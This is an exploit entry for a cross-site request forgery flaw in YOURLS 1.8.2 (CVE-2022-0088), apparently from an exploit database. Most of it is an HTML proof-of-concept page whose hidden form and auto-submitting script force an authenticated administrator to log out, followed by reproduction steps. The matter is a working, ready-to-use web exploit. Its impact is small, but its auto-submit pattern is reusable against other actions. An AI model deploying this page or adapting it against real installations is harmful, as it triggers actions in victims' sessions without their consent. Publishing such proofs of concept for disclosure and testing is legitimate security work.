YOURLS 1.8.2 – Cross-Site Request Forgery (CSRF)
# Exploit Title: YOURLS 1.8.2 - Cross-Site Request Forgery (CSRF) # Date: 2025-11-25 # Exploit Author: CodeSecLab # Vendor Homepage: https://github.com/yourls/yourls/ # Software Link: https://github.com/yourls/yourls/ # Version: 1.8.2 # Tested on: Windows # CVE : CVE-2022-0088 Proof Of Concept <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CSRF PoC</title> </head> <body> <h1>CSRF Proof of Concept</h1> <form action="http://yourls/admin/index.php" method="GET"> <input type="hidden" name="action" value="logout"> <input type="submit" value="Submit CSRF Request"> </form> <script> document.forms[0].submit(); </script> </body> </html> This HTML page, when visited by an authenticated user of the vulnerable application, will automatically submit a request to log the user out without their consent, demonstrating the CSRF vulnerability. Steps to Reproduce Save the following code as poc.html. Log in yourls, and open the file in the same browser. Observe the result. |